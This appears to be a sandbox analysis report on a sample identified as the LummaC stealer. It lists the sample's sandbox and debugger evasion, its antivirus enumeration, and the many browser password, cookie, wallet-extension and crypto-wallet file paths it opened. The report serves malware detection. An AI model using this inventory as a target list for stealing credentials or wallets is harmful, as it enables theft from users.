Source: tyhkamwdmrg.exe, 00000000.00000002.2307460310.000000000161E000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000003.2147935945.000000000167B000.00000004.00000020.00020000.00000000.sdmp, tyhkamwdmrg.exe, 00000000.00000002.2307538342.000000000167B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.000000000048D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: tyhkamwdmrg.exe, 00000000.00000002.2306940287.0000000000343000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: 0_2_0032B1C0 LdrInitializeThunk,

0_2_0032B1C0

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: 0_2_003F9268 cpuid

0_2_003F9268

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,GetLocaleInfoA,

0_2_004AB208

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

Code function: 0_2_0039ACC0 GetTimeZoneInformation,

0_2_0039ACC0

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: tyhkamwdmrg.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: tyhkamwdmrg.exe, 00000000.00000003.1814747666.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: tyhkamwdmrg.exe, 00000000.00000003.1814747666.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: tyhkamwdmrg.exe, 00000000.00000003.1814747666.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: tyhkamwdmrg.exe, 00000000.00000003.1814277387.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: tyhkamwdmrg.exe, 00000000.00000003.1814747666.00000000016D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3r
Source: tyhkamwdmrg.exe, 00000000.00000003.1814277387.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: tyhkamwdmrg.exe, 00000000.00000003.1814277387.00000000016E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\Desktop\tyhkamwdmrg.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior

Source: Yara match

File source: Process Memory Space: tyhkamwdmrg.exe PID: 6516, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: tyhkamwdmrg.exe PID: 6516, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

